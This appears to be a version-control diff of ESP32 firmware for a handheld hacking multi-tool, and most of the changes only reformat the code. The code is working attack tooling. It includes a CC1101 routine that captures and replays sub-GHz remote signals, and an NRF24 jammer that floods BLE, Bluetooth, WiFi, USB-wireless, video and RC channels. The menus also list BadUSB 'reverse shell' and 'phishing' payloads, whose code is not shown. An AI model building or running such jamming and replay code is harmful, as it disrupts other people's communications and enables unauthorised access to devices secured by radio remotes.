#include "../utils/buttons.h" #include "../utils/buttons.h"
#include "SPI.h"
#include <Arduino.h>
// ===== CONFIG ===== // ===== CONFIG =====
#define RAW_BUF_MAX 512 #define RAW_BUF_MAX 512
@ -26,25 +26,24 @@ float rxBW = 325.0;
int powerLevel = 10; int powerLevel = 10;
// ===== ISR ===== // ===== ISR =====
void IRAM_ATTR pulseISR() { void IRAM_ATTR pulseISR()
{
unsigned long now = micros(); unsigned long now = micros();
if (!capturing) if (!capturing) return;
return; if (pulseIndex >= RAW_BUF_MAX) return;
if (pulseIndex >= RAW_BUF_MAX)
return;
unsigned long duration = now - lastEdgeTime; unsigned long duration = now - lastEdgeTime;
if (duration < 150) if (duration < 150) return;
return;
captureBuffer[pulseIndex++] = duration; captureBuffer[pulseIndex++] = duration;
lastEdgeTime = now; lastEdgeTime = now;
} }
// ===== OOK SETUP ===== // ===== OOK SETUP =====
void setupOOKMode() { void setupOOKMode()
{
ELECHOUSE_cc1101.SetRx(); ELECHOUSE_cc1101.SetRx();
ELECHOUSE_cc1101.setMHZ(currentFreq); ELECHOUSE_cc1101.setMHZ(currentFreq);
@ -58,12 +57,18 @@ void setupOOKMode() {
// ===== INIT (LAZY, SAFE) ===== // ===== INIT (LAZY, SAFE) =====
// ================= CC1101 INIT ================= // ================= CC1101 INIT =================
bool initCC1101() { bool initCC1101()
{
Serial.println(); Serial.println();
Serial.println("===== CC1101 INIT ====="); Serial.println("===== CC1101 INIT =====");
// ===== SPI ===== // ===== SPI =====
SPI.begin(cc1101_SCK, cc1101_MISO, cc1101_MOSI, CC1101_CS); SPI.begin(
cc1101_SCK,
cc1101_MISO,
cc1101_MOSI,
CC1101_CS
);
pinMode(CC1101_CS, OUTPUT); pinMode(CC1101_CS, OUTPUT);
digitalWrite(CC1101_CS, HIGH); digitalWrite(CC1101_CS, HIGH);
@ -71,14 +76,23 @@ bool initCC1101() {
delay(100); delay(100);
// ===== GDO ===== // ===== GDO =====
ELECHOUSE_cc1101.setGDO(CC1101_GDO0, -1); ELECHOUSE_cc1101.setGDO(
CC1101_GDO0,
-1
);
ELECHOUSE_cc1101.setSpiPin(cc1101_SCK, cc1101_MISO, cc1101_MOSI, CC1101_CS); ELECHOUSE_cc1101.setSpiPin(
cc1101_SCK,
cc1101_MISO,
cc1101_MOSI,
CC1101_CS
);
// ===== DETECT ===== // ===== DETECT =====
Serial.println("Checking chip..."); Serial.println("Checking chip...");
if (!ELECHOUSE_cc1101.getCC1101()) { if (!ELECHOUSE_cc1101.getCC1101())
{
Serial.println("❌ CC1101 NOT FOUND"); Serial.println("❌ CC1101 NOT FOUND");
return false; return false;
} }
@ -120,19 +134,27 @@ bool initCC1101() {
return true; return true;
} }
// ===== CAPTURE CONTROL ===== // ===== CAPTURE CONTROL =====
void startCapture() { void startCapture()
{
pulseIndex = 0; pulseIndex = 0;
capturing = true; capturing = true;
lastEdgeTime = micros(); lastEdgeTime = micros();
attachInterrupt(digitalPinToInterrupt(CC1101_GDO0), pulseISR, CHANGE); attachInterrupt(
digitalPinToInterrupt(CC1101_GDO0),
pulseISR,
CHANGE
);
Serial.println("Looking for RF... "); Serial.println("Looking for RF... ");
} }
bool isCC1101Ready() { return cc1101Inited; } bool isCC1101Ready() {
return cc1101Inited;
}
void stopCapture() { void stopCapture()
{
capturing = false; capturing = false;
detachInterrupt(digitalPinToInterrupt(CC1101_GDO0)); detachInterrupt(digitalPinToInterrupt(CC1101_GDO0));
@ -141,16 +163,20 @@ void stopCapture() {
} }
// ===== DEBUG PRINT ===== // ===== DEBUG PRINT =====
void printCapture() { void printCapture()
{
Serial.println("Captured pulses:"); Serial.println("Captured pulses:");
for (int i = 0; i < pulseIndex; i++) { for (int i = 0; i < pulseIndex; i++)
{
Serial.println(captureBuffer[i]); Serial.println(captureBuffer[i]);
} }
} }
// ================= REPLAY ================= // ================= REPLAY =================
void replaySignal() { void replaySignal()
{
Serial.println(); Serial.println();
Serial.println("Replaying signal..."); Serial.println("Replaying signal...");
@ -160,8 +186,12 @@ void replaySignal() {
pinMode(CC1101_GDO0, OUTPUT); pinMode(CC1101_GDO0, OUTPUT);
for (int i = 0; i < pulseIndex; i++) { for (int i = 0; i < pulseIndex; i++)
digitalWrite(CC1101_GDO0, (i % 2 == 0) ? HIGH : LOW); {
digitalWrite(
CC1101_GDO0,
(i % 2 == 0) ? HIGH : LOW
);
delayMicroseconds(captureBuffer[i]); delayMicroseconds(captureBuffer[i]);
} }
@ -175,9 +205,13 @@ void replaySignal() {
Serial.println("Replay complete"); Serial.println("Replay complete");
} }
void captureAndDisplay() {
if (!cc1101Inited) { void captureAndDisplay()
if (!initCC1101()) { {
if (!cc1101Inited)
{
if (!initCC1101())
{
u8g2.clearBuffer(); u8g2.clearBuffer();
u8g2.setFont(u8g2_font_6x10_tr); u8g2.setFont(u8g2_font_6x10_tr);
u8g2.drawStr(0, 20, "CC1101 Failed"); u8g2.drawStr(0, 20, "CC1101 Failed");
@ -198,9 +232,11 @@ void captureAndDisplay() {
unsigned long lastSignal = millis(); unsigned long lastSignal = millis();
int lastPulseCount = 0; int lastPulseCount = 0;
while (true) { while (true)
{
// signal detected // signal detected
if (pulseIndex > lastPulseCount) { if (pulseIndex > lastPulseCount)
{
lastPulseCount = pulseIndex; lastPulseCount = pulseIndex;
lastSignal = millis(); lastSignal = millis();
} }
@ -220,22 +256,27 @@ void captureAndDisplay() {
u8g2.print(currentFreq); u8g2.print(currentFreq);
u8g2.print(" MHz"); u8g2.print(" MHz");
if (pulseIndex > 0) { if (pulseIndex > 0)
{
u8g2.drawStr(0, 54, "Signal Detected"); u8g2.drawStr(0, 54, "Signal Detected");
} else { }
else
{
u8g2.drawStr(0, 54, "Waiting..."); u8g2.drawStr(0, 54, "Waiting...");
} }
u8g2.sendBuffer(); u8g2.sendBuffer();
// auto print once capture stabilizes // auto print once capture stabilizes
if (pulseIndex > 20 && (millis() - lastSignal > 1500)) { if (pulseIndex > 20 && (millis() - lastSignal > 1500))
{
stopCapture(); stopCapture();
Serial.println(); Serial.println();
Serial.println("===== RF CAPTURE ====="); Serial.println("===== RF CAPTURE =====");
for (int i = 0; i < pulseIndex; i++) { for (int i = 0; i < pulseIndex; i++)
{
Serial.print(captureBuffer[i]); Serial.print(captureBuffer[i]);
Serial.print(", "); Serial.print(", ");
} }
@ -247,13 +288,16 @@ void captureAndDisplay() {
u8g2.drawStr(0, 15, "Capture Complete"); u8g2.drawStr(0, 15, "Capture Complete");
u8g2.setCursor(0, 35); u8g2.setCursor(0, 35);
} }
} }
} }
void handleMenu() { void handleMenu()
if (!isCC1101Ready()) { {
if (!initCC1101()) { if (!isCC1101Ready())
{
if (!initCC1101())
{
u8g2.clearBuffer(); u8g2.clearBuffer();
u8g2.setFont(u8g2_font_6x10_tr); u8g2.setFont(u8g2_font_6x10_tr);
u8g2.drawStr(0, 20, "CC1101 Failed"); u8g2.drawStr(0, 20, "CC1101 Failed");
@ -270,7 +314,8 @@ void handleMenu() {
// ===== CAPTURE FOR 5 SEC ===== // ===== CAPTURE FOR 5 SEC =====
unsigned long start = millis(); unsigned long start = millis();
while (millis() - start < 5000) { while (millis() - start < 5000)
{
noInterrupts(); noInterrupts();
int count = pulseIndex; int count = pulseIndex;
interrupts(); interrupts();
@ -294,7 +339,8 @@ void handleMenu() {
// ===== DISPLAY CAPTURE BUFFER ===== // ===== DISPLAY CAPTURE BUFFER =====
int scroll = 0; int scroll = 0;
while (1) { while (1)
{
noInterrupts(); noInterrupts();
int count = pulseIndex; int count = pulseIndex;
interrupts(); interrupts();
@ -305,7 +351,8 @@ void handleMenu() {
u8g2.drawStr(0, 8, "Captured Buffer"); u8g2.drawStr(0, 8, "Captured Buffer");
// display 6 lines // display 6 lines
for (int i = 0; i < 6; i++) { for (int i = 0; i < 6; i++)
{
int idx = scroll + i; int idx = scroll + i;
if (idx >= count) if (idx >= count)
@ -325,7 +372,8 @@ void handleMenu() {
u8g2.sendBuffer(); u8g2.sendBuffer();
// scroll down // scroll down
if (btnDown()) { if (btnDown())
{
if (scroll < count - 1) if (scroll < count - 1)
scroll++; scroll++;
@ -333,7 +381,8 @@ void handleMenu() {
} }
// scroll up // scroll up
if (btnUp()) { if (btnUp())
{
if (scroll > 0) if (scroll > 0)
scroll--; scroll--;
@ -341,13 +390,15 @@ void handleMenu() {
} }
// replay // replay
if (btnSelect()) { if (btnSelect())
{
replaySignal(); replaySignal();
delay(300); delay(300);
} }
// exit // exit
if (btnBack()) { if (btnBack())
{
delay(150); delay(150);
return; return;
} }

View File

@ -1,8 +1,8 @@
#include <Arduino.h>
#include <RF24.h>
#include "nrf24.h" #include "nrf24.h"
#include "../ui/display.h" #include "../ui/display.h"
#include "../utils/buttons.h" #include "../utils/buttons.h"
#include <Arduino.h>
#include <RF24.h>
#define JAM_DURATION 500 #define JAM_DURATION 500
extern SPIClass *RADIO_SPI; extern SPIClass *RADIO_SPI;
@ -11,16 +11,24 @@ extern RF24 radio2;
// ============ CHANNELS ============= // ============ CHANNELS =============
const byte bleChannels[] = {2, 26, 80}; const byte bleChannels[] = {2, 26, 80};
const byte bluetoothChannels[] = {32, 34, 46, 48, 50, 52, 0, 1, 2, 4, 6, const byte bluetoothChannels[] = {
8, 22, 24, 26, 28, 30, 74, 76, 78, 80}; 32, 34, 46, 48, 50, 52,
const byte wifiChannels[] = {12, 17, 22, 27, 32, 37, 42, 0, 1, 2, 4, 6, 8,
47, 52, 57, 62, 67, 72}; 22, 24, 26, 28, 30,
74, 76, 78, 80
};
const byte wifiChannels[] = {
12, 17, 22, 27, 32,
37, 42, 47, 52, 57,
62, 67, 72
};
const byte usbWireless_channels[] = {40, 50, 60}; const byte usbWireless_channels[] = {40, 50, 60};
const byte videoTransmitter_channels[] = {70, 75, 80}; const byte videoTransmitter_channels[] = {70, 75, 80};
const byte zigbee_channels[] = {11, 15, 20, 25}; const byte zigbee_channels[] = {11, 15, 20, 25};
const byte rc_channels[] = {1, 3, 5, 7}; const byte rc_channels[] = {1, 3, 5, 7};
void initNRF(RF24 &radio) { void initNRF(RF24 &radio)
{
if (!radio.begin(RADIO_SPI)) { if (!radio.begin(RADIO_SPI)) {
Serial.println("NRF not found"); Serial.println("NRF not found");
return; return;
@ -34,9 +42,12 @@ void initNRF(RF24 &radio) {
radio.openWritingPipe(0xE7E7E7E7E7LL); radio.openWritingPipe(0xE7E7E7E7E7LL);
radio.setCRCLength(RF24_CRC_DISABLED); radio.setCRCLength(RF24_CRC_DISABLED);
Serial.println("NRF Initialized"); Serial.println("NRF Initialized");
} }
// void startBleJammer() {
//void startBleJammer() {
// initNRF(radio1); // initNRF(radio1);
// initNRF(radio2); // initNRF(radio2);
// //
@ -70,9 +81,9 @@ void initNRF(RF24 &radio) {
// } // }
// } // }
// //
// } //}
// //
// void startBluetoothJammer() //void startBluetoothJammer()
//{ //{
// initNRF(radio1); // initNRF(radio1);
// initNRF(radio2); // initNRF(radio2);
@ -90,8 +101,7 @@ void initNRF(RF24 &radio) {
// while(true) { // while(true) {
// //
// // Channels (you can change this set) // // Channels (you can change this set)
// const byte channels[] = {32, 34, 46, 48, 50, 52, 0, 1, 2, 4, 6, 8, 22, // const byte channels[] = {32, 34, 46, 48, 50, 52, 0, 1, 2, 4, 6, 8, 22, 24, 26, 28, 30, 74, 76, 78, 80};
// 24, 26, 28, 30, 74, 76, 78, 80};
// //
// //
// for (int i = 0; i < sizeof(channels); i++) { // for (int i = 0; i < sizeof(channels); i++) {
@ -107,9 +117,10 @@ void initNRF(RF24 &radio) {
// return; // return;
// } // }
// } // }
// } //}
void startJammer(const char *name, const byte *channels, size_t channelCount) { void startJammer(const char* name, const byte* channels, size_t channelCount)
{
initNRF(radio1); initNRF(radio1);
initNRF(radio2); initNRF(radio2);
@ -124,15 +135,18 @@ void startJammer(const char *name, const byte *channels, size_t channelCount) {
u8g2.drawStr(0, 55, "BACK = Exit"); u8g2.drawStr(0, 55, "BACK = Exit");
u8g2.sendBuffer(); u8g2.sendBuffer();
while (true) { while (true)
for (size_t i = 0; i < channelCount; i++) { {
// radio1.setChannel(channels[i]); for (size_t i = 0; i < channelCount; i++)
// radio1.write(&payload, sizeof(payload)); {
//radio1.setChannel(channels[i]);
//radio1.write(&payload, sizeof(payload));
// Optional second NRF // Optional second NRF
// radio2.setChannel(channels[i]); // radio2.setChannel(channels[i]);
// radio2.write(&payload, sizeof(payload)); // radio2.write(&payload, sizeof(payload));
radio1.setChannel(channels[i]); radio1.setChannel(channels[i]);
radio2.setChannel(channels[(i + 1) % channelCount]); radio2.setChannel(channels[(i + 1) % channelCount]);
@ -140,7 +154,8 @@ void startJammer(const char *name, const byte *channels, size_t channelCount) {
radio2.writeFast(&payload, sizeof(payload)); radio2.writeFast(&payload, sizeof(payload));
} }
if (btnBack()) { if (btnBack())
{
Serial.println("Jammer stopped"); Serial.println("Jammer stopped");
radio1.powerDown(); radio1.powerDown();
radio2.powerDown(); radio2.powerDown();
@ -148,8 +163,8 @@ void startJammer(const char *name, const byte *channels, size_t channelCount) {
} }
} }
// while (true) { //while (true) {
// for (size_t i = 0; i < channelCount; i++) //for (size_t i = 0; i < channelCount; i++)
//{ //{
// radio1.setChannel(channels[i]); // radio1.setChannel(channels[i]);
// radio2.setChannel(channels[(i + 1) % channelCount]); // radio2.setChannel(channels[(i + 1) % channelCount]);
@ -163,7 +178,8 @@ void startJammer(const char *name, const byte *channels, size_t channelCount) {
// delayMicroseconds(200); // delayMicroseconds(200);
//} //}
// if (btnBack())
//if (btnBack())
//{ //{
// Serial.println("Jammer stopped"); // Serial.println("Jammer stopped");
@ -172,7 +188,7 @@ void startJammer(const char *name, const byte *channels, size_t channelCount) {
// return; // return;
//} //}
//} //}
} }
void NRFToolsMenu(int index) { void NRFToolsMenu(int index) {
@ -180,37 +196,54 @@ void NRFToolsMenu(int index) {
case 0: case 0:
// startBleJammer(); // startBleJammer();
// BLE // BLE
startJammer("BLE", bleChannels, startJammer(
sizeof(bleChannels) / sizeof(bleChannels[0])); "BLE",
bleChannels,
sizeof(bleChannels) / sizeof(bleChannels[0])
);
break; break;
case 1: case 1:
// startBluetoothJammer(); // startBluetoothJammer();
// Bluetooth // Bluetooth
startJammer("Bluetooth", bluetoothChannels, startJammer(
sizeof(bluetoothChannels) / sizeof(bluetoothChannels[0])); "Bluetooth",
bluetoothChannels,
sizeof(bluetoothChannels) / sizeof(bluetoothChannels[0])
);
break; break;
case 2: case 2:
startJammer("WiFi", wifiChannels, startJammer(
sizeof(wifiChannels) / sizeof(wifiChannels[0])); "WiFi",
wifiChannels,
sizeof(wifiChannels) / sizeof(wifiChannels[0])
);
break; break;
case 3: case 3:
startJammer("USB Wireless", usbWireless_channels, startJammer(
sizeof(usbWireless_channels) / sizeof(usbWireless_channels[0])); "USB Wireless",
usbWireless_channels,
sizeof(usbWireless_channels) / sizeof(usbWireless_channels[0])
);
break; break;
case 4: case 4:
startJammer("Video TX", videoTransmitter_channels, startJammer(
sizeof(videoTransmitter_channels) / "Video TX",
sizeof(videoTransmitter_channels[0])); videoTransmitter_channels,
sizeof(videoTransmitter_channels) / sizeof(videoTransmitter_channels[0])
);
break; break;
case 5: case 5:
break; break;
startJammer("RC", rc_channels, startJammer(
sizeof(rc_channels) / sizeof(rc_channels[0])); "RC",
rc_channels,
sizeof(rc_channels) / sizeof(rc_channels[0])
);
break; break;
case 6: case 6:
break; break;
}
} }
}

View File

@ -1,10 +1,15 @@
#include "display.h" #include "display.h"
#include "config.h"
#include <Wire.h> #include <Wire.h>
#include "config.h"
U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2(U8G2_R0, U8X8_PIN_NONE);
void displayInit() { U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2(
U8G2_R0,
U8X8_PIN_NONE
);
void displayInit()
{
Wire.begin(OLED_SDA_PIN, OLED_SCL_PIN); Wire.begin(OLED_SDA_PIN, OLED_SCL_PIN);
u8g2.begin(); u8g2.begin();
u8g2.setFont(u8g2_font_6x12_tr); u8g2.setFont(u8g2_font_6x12_tr);

View File

@ -1,42 +1,57 @@
#include <Arduino.h>
#include "menu.h" #include "menu.h"
#include "BleMouse.h" #include "display.h"
#include "utils/buttons.h"
#include "hid/badusb.h"
#include "rf/nrf24.h"
#include "rf/cc1101.h"
#include "wifi/wifi_scan.h"
#include "wifi/wifi_analyzer.h"
#include "utils/device_check.h"
#include "bluetooth/ble_mouse.h" #include "bluetooth/ble_mouse.h"
#include "bluetooth/blescanner.h" #include "bluetooth/blescanner.h"
#include "display.h"
#include "hid/badusb.h"
#include "nfc/nfc.h"
#include "rf/cc1101.h"
#include "rf/nrf24.h"
#include "utils/buttons.h"
#include "utils/device_check.h"
#include "utils/sysinfo.h" #include "utils/sysinfo.h"
#include "wifi/wifi_analyzer.h" #include "BleMouse.h"
#include "wifi/wifi_scan.h" #include "nfc/nfc.h"
#include <Arduino.h>
// ================= MENU DATA ================= // ================= MENU DATA =================
extern BleMouse bleMouse; extern BleMouse bleMouse;
// Root menu // Root menu
const char *mainMenuItems[] = {"BadUSB", "RF Capture", "NRF Tools", const char *mainMenuItems[] = {
"BLE Scan", "Wifi Scan", "Wifi Analyzer", "BadUSB",
"System Info", "Device Check", "Restart", "RF Capture",
"Ble Mouse", "NFC Tools"}; "NRF Tools",
"BLE Scan",
"Wifi Scan",
"Wifi Analyzer",
"System Info",
"Device Check",
"Restart",
"Ble Mouse",
"NFC Tools"
};
Menu mainMenu = {mainMenuItems, sizeof(mainMenuItems) / sizeof(mainMenuItems[0])};
Menu mainMenu = {mainMenuItems,
sizeof(mainMenuItems) / sizeof(mainMenuItems[0])};
// NRF Tools menu // NRF Tools menu
const char *nrfToolsItems[] = { const char *nrfToolsItems[] = {
"BLE Jammer", "Bluetooth Jammer", "Wifi Jammer", "USB Wireless", "BLE Jammer",
"Video TX", "Zigbee", "RC" "Bluetooth Jammer",
"Wifi Jammer",
"USB Wireless",
"Video TX",
"Zigbee",
"RC"
}; };
Menu nrfToolsMenu = {nrfToolsItems, Menu nrfToolsMenu = {nrfToolsItems, sizeof(nrfToolsItems) / sizeof(nrfToolsItems[0])};
sizeof(nrfToolsItems) / sizeof(nrfToolsItems[0])};
const char *badusbItems[] = {"ORION Demo",
const char *badusbItems[] = {
"ORION Demo",
"RickRoll", "RickRoll",
"Matrix Rain", "Matrix Rain",
"Fake Terminal", "Fake Terminal",
@ -49,7 +64,8 @@ const char *badusbItems[] = {"ORION Demo",
"PWN Reverse shell", "PWN Reverse shell",
"Phishing attack", "Phishing attack",
"Desktop Ghost", "Desktop Ghost",
"System Stresser"}; "System Stresser"
};
Menu badusbMenu = {badusbItems, sizeof(badusbItems) / sizeof(badusbItems[0])}; Menu badusbMenu = {badusbItems, sizeof(badusbItems) / sizeof(badusbItems[0])};
@ -66,7 +82,8 @@ bool insideFeature = false;
// ================= DRAW ================= // ================= DRAW =================
void drawMenu() { void drawMenu()
{
u8g2.clearBuffer(); u8g2.clearBuffer();
// scroll handling // scroll handling
@ -76,7 +93,8 @@ void drawMenu() {
if (menuIndex >= menuOffset + MENU_VISIBLE_ROWS) if (menuIndex >= menuOffset + MENU_VISIBLE_ROWS)
menuOffset = menuIndex - MENU_VISIBLE_ROWS + 1; menuOffset = menuIndex - MENU_VISIBLE_ROWS + 1;
for (int i = 0; i < MENU_VISIBLE_ROWS; i++) { for (int i = 0; i < MENU_VISIBLE_ROWS; i++)
{
int item = menuOffset + i; int item = menuOffset + i;
if (item >= currentMenu->size) if (item >= currentMenu->size)
@ -100,11 +118,14 @@ void drawMenu() {
// ================= FEATURE EXECUTION ================= // ================= FEATURE EXECUTION =================
void launchFeature() { void launchFeature()
{
insideFeature = true; insideFeature = true;
if (currentMenu == &mainMenu) { if (currentMenu == &mainMenu)
switch (menuIndex) { {
switch (menuIndex)
{
case 0: // BadUSB → enter submenu case 0: // BadUSB → enter submenu
currentMenu = &badusbMenu; currentMenu = &badusbMenu;
menuIndex = 0; menuIndex = 0;
@ -116,8 +137,8 @@ void launchFeature() {
break; break;
case 2: case 2:
// startNRFJammer(); // startNRFJammer();
// startBleJammer(); //startBleJammer();
// startBluetoothJammer(); //startBluetoothJammer();
currentMenu = &nrfToolsMenu; currentMenu = &nrfToolsMenu;
menuIndex = 0; menuIndex = 0;
menuOffset = 0; menuOffset = 0;
@ -134,7 +155,8 @@ void launchFeature() {
} }
break; break;
case 4: { case 4:
{
// Start scan once // Start scan once
wifi_scan_start(); wifi_scan_start();
wifi_scan_draw(); wifi_scan_draw();
@ -149,15 +171,18 @@ void launchFeature() {
} }
break; break;
} }
case 5: { case 5:
{
wifi_analyzer_start(); wifi_analyzer_start();
bool prevBack = false; bool prevBack = false;
while (1) { while (1)
{
wifi_analyzer_loop(); wifi_analyzer_loop();
bool nowBack = btnBack(); bool nowBack = btnBack();
if (nowBack && !prevBack) { if (nowBack && !prevBack)
{
delay(150); delay(150);
break; break;
} }
@ -172,7 +197,8 @@ void launchFeature() {
case 7: case 7:
device_check_run(); device_check_run();
break; break;
case 8: { case 8:
{
// wait for button release // wait for button release
delay(200); delay(200);
@ -180,20 +206,24 @@ void launchFeature() {
delay(10); delay(10);
bool confirm = false; bool confirm = false;
while (1) { while (1)
{
u8g2.clearBuffer(); u8g2.clearBuffer();
u8g2.setFont(u8g2_font_6x13_tr); u8g2.setFont(u8g2_font_6x13_tr);
u8g2.drawStr(18, 18, "Restart Device?"); u8g2.drawStr(18, 18, "Restart Device?");
if (confirm) { if (confirm)
{
u8g2.drawBox(10, 35, 45, 15); u8g2.drawBox(10, 35, 45, 15);
u8g2.setDrawColor(0); u8g2.setDrawColor(0);
u8g2.drawStr(20, 47, "YES"); u8g2.drawStr(20, 47, "YES");
u8g2.setDrawColor(1); u8g2.setDrawColor(1);
u8g2.drawStr(75, 47, "NO"); u8g2.drawStr(75, 47, "NO");
} else { }
else
{
u8g2.drawStr(20, 47, "YES"); u8g2.drawStr(20, 47, "YES");
u8g2.drawBox(65, 35, 45, 15); u8g2.drawBox(65, 35, 45, 15);
@ -204,37 +234,45 @@ void launchFeature() {
u8g2.sendBuffer(); u8g2.sendBuffer();
if (btnLeft() || btnUp()) { if (btnLeft() || btnUp())
{
confirm = true; confirm = true;
delay(150); delay(150);
} }
if (btnRight() || btnDown()) { if (btnRight() || btnDown())
{
confirm = false; confirm = false;
delay(150); delay(150);
} }
if (btnSelect()) { if (btnSelect())
{
delay(150); delay(150);
if (confirm) { if (confirm)
{
u8g2.clearBuffer(); u8g2.clearBuffer();
u8g2.drawStr(28, 30, "Restarting..."); u8g2.drawStr(28, 30, "Restarting...");
u8g2.sendBuffer(); u8g2.sendBuffer();
delay(1000); delay(1000);
ESP.restart(); ESP.restart();
} else { }
else
{
break; break;
} }
} }
if (btnBack()) { if (btnBack())
{
delay(150); delay(150);
break; break;
} }
} }
} break; }
break;
case 9: case 9:
// Begin Ble mouse // Begin Ble mouse
@ -245,7 +283,9 @@ void launchFeature() {
pn532_scan_loop(); pn532_scan_loop();
break; break;
} }
} else if (currentMenu == &badusbMenu) { }
else if (currentMenu == &badusbMenu)
{
badUSBMenu(menuIndex); badUSBMenu(menuIndex);
} else if (currentMenu == &nrfToolsMenu) { } else if (currentMenu == &nrfToolsMenu) {
NRFToolsMenu(menuIndex); NRFToolsMenu(menuIndex);
@ -258,7 +298,8 @@ void launchFeature() {
// ================= INIT ================= // ================= INIT =================
void menuInit() { void menuInit()
{
currentMenu = &mainMenu; currentMenu = &mainMenu;
menuIndex = 0; menuIndex = 0;
menuOffset = 0; menuOffset = 0;
@ -268,7 +309,8 @@ void menuInit() {
// ================= LOOP ================= // ================= LOOP =================
void menuLoop() { void menuLoop()
{
static uint32_t lastPress = 0; static uint32_t lastPress = 0;
if (insideFeature) if (insideFeature)
@ -277,7 +319,8 @@ void menuLoop() {
if (millis() - lastPress < 150) if (millis() - lastPress < 150)
return; return;
if (btnUp()) { if (btnUp())
{
menuIndex--; menuIndex--;
if (menuIndex < 0) if (menuIndex < 0)
@ -287,7 +330,8 @@ void menuLoop() {
lastPress = millis(); lastPress = millis();
} }
else if (btnDown()) { else if (btnDown())
{
menuIndex++; menuIndex++;
if (menuIndex >= currentMenu->size) if (menuIndex >= currentMenu->size)
@ -297,13 +341,16 @@ void menuLoop() {
lastPress = millis(); lastPress = millis();
} }
else if (btnSelect()) { else if (btnSelect())
{
launchFeature(); launchFeature();
lastPress = millis(); lastPress = millis();
} }
else if (btnBack()) { else if (btnBack())
if (currentMenu != &mainMenu) { {
if (currentMenu != &mainMenu)
{
currentMenu = &mainMenu; currentMenu = &mainMenu;
menuIndex = 0; menuIndex = 0;
menuOffset = 0; menuOffset = 0;

View File

@ -1,8 +1,9 @@
#include "buttons.h" #include "buttons.h"
#include "../config.h"
#include <Arduino.h> #include <Arduino.h>
#include "../config.h"
void buttonsInit() { void buttonsInit()
{
pinMode(BTN_UP, INPUT_PULLUP); pinMode(BTN_UP, INPUT_PULLUP);
pinMode(BTN_DOWN, INPUT_PULLUP); pinMode(BTN_DOWN, INPUT_PULLUP);
pinMode(BTN_SELECT, INPUT_PULLUP); pinMode(BTN_SELECT, INPUT_PULLUP);

View File

@ -1,12 +1,12 @@
#include "../libs/ELECHOUSE_CC1101_SRC_DRV.h"
#include <Arduino.h> #include <Arduino.h>
#include <RF24.h>
#include <SPI.h> #include <SPI.h>
#include <Wire.h> #include <Wire.h>
#include <RF24.h>
#include "../libs/ELECHOUSE_CC1101_SRC_DRV.h"
#include "../config.h"
#include "../ui/display.h" #include "../ui/display.h"
#include "buttons.h" #include "buttons.h"
#include "../config.h"
// ===== EXTERNALS ===== // ===== EXTERNALS =====
extern RF24 radio1; extern RF24 radio1;
@ -18,12 +18,14 @@ extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2;
struct DeviceStatus { struct DeviceStatus {
bool nrf1 = false; bool nrf1 = false;
bool nrf2 = false; bool nrf2 = false;
bool cc1101 = false; bool cc1101_1 = false;
bool cc1101_2 = false;
bool oled = true; bool oled = true;
bool buttons = false;
}; };
// ===== NRF CHECK ===== // ===== NRF CHECK =====
// bool checkNRF(RF24 &radio) //bool checkNRF(RF24 &radio)
//{ //{
// // safer: only init if needed // // safer: only init if needed
// if (!radio.isChipConnected()) { // if (!radio.isChipConnected()) {
@ -34,7 +36,8 @@ struct DeviceStatus {
// return radio.isChipConnected(); // return radio.isChipConnected();
//} //}
bool checkNRF(RF24 &radio) { bool checkNRF(RF24 &radio)
{
radio.powerDown(); radio.powerDown();
delay(5); delay(5);
@ -47,30 +50,73 @@ bool checkNRF(RF24 &radio) {
} }
// ===== CC1101 CHECK ===== // ===== CC1101 CHECK =====
bool checkCC1101(uint8_t csPin) { bool checkCC1101(uint8_t csPin)
ELECHOUSE_cc1101.setSpiPin(cc1101_SCK, cc1101_MISO, cc1101_MOSI, csPin); {
ELECHOUSE_cc1101.setSpiPin(
cc1101_SCK,
cc1101_MISO,
cc1101_MOSI,
csPin
);
delay(5); delay(5);
return ELECHOUSE_cc1101.getCC1101(); return ELECHOUSE_cc1101.getCC1101();
} }
// ===== BUTTON CHECK =====
bool checkButtons()
{
u8g2.clearBuffer();
u8g2.setFont(u8g2_font_6x10_tr);
u8g2.drawStr(0, 20, "Press any button...");
u8g2.sendBuffer();
unsigned long start = millis();
while (millis() - start < 2000)
{
if (!digitalRead(BTN_UP) ||
!digitalRead(BTN_DOWN) ||
!digitalRead(BTN_SELECT) ||
!digitalRead(BTN_BACK) ||
!digitalRead(BTN_RIGHT) ||
!digitalRead(BTN_LEFT))
{
return true;
}
}
return false;
}
// ===== DRAW ===== // ===== DRAW =====
#define MAX_ITEMS 4 #define MAX_ITEMS 6
#define VISIBLE_ROWS 5 #define VISIBLE_ROWS 5
const char *labels[MAX_ITEMS] = {"NRF1", "NRF2", "CC1101", "OLED"}; const char* labels[MAX_ITEMS] = {
"NRF1",
"NRF2",
"CC1101-1",
"CC1101-2",
"BUTTONS",
"OLED"
};
bool values[MAX_ITEMS]; bool values[MAX_ITEMS];
int selectedIndex = 0; int selectedIndex = 0;
int offset = 0; int offset = 0;
void drawStatus(DeviceStatus &s) { void drawStatus(DeviceStatus &s)
{
values[0] = s.nrf1; values[0] = s.nrf1;
values[1] = s.nrf2; values[1] = s.nrf2;
values[2] = s.cc1101; values[2] = s.cc1101_1;
values[3] = s.oled; values[3] = s.cc1101_2;
values[4] = s.buttons;
values[5] = s.oled;
u8g2.clearBuffer(); u8g2.clearBuffer();
u8g2.setFont(u8g2_font_6x10_tr); u8g2.setFont(u8g2_font_6x10_tr);
@ -82,14 +128,15 @@ void drawStatus(DeviceStatus &s) {
if (selectedIndex >= offset + VISIBLE_ROWS) if (selectedIndex >= offset + VISIBLE_ROWS)
offset = selectedIndex - VISIBLE_ROWS + 1; offset = selectedIndex - VISIBLE_ROWS + 1;
for (int i = 0; i < VISIBLE_ROWS; i++) { for (int i = 0; i < VISIBLE_ROWS; i++)
{
int item = offset + i; int item = offset + i;
if (item >= MAX_ITEMS) if (item >= MAX_ITEMS) break;
break;
int y = 12 + i * 10; int y = 12 + i * 10;
if (item == selectedIndex) { if (item == selectedIndex)
{
u8g2.drawBox(0, y - 9, 128, 10); u8g2.drawBox(0, y - 9, 128, 10);
u8g2.setDrawColor(0); u8g2.setDrawColor(0);
} }
@ -109,7 +156,8 @@ void drawStatus(DeviceStatus &s) {
} }
// ===== MAIN ===== // ===== MAIN =====
void device_check_run() { void device_check_run()
{
DeviceStatus status; DeviceStatus status;
Serial.println("Running device diagnostics..."); Serial.println("Running device diagnostics...");
@ -119,33 +167,41 @@ void device_check_run() {
status.nrf2 = checkNRF(radio2); status.nrf2 = checkNRF(radio2);
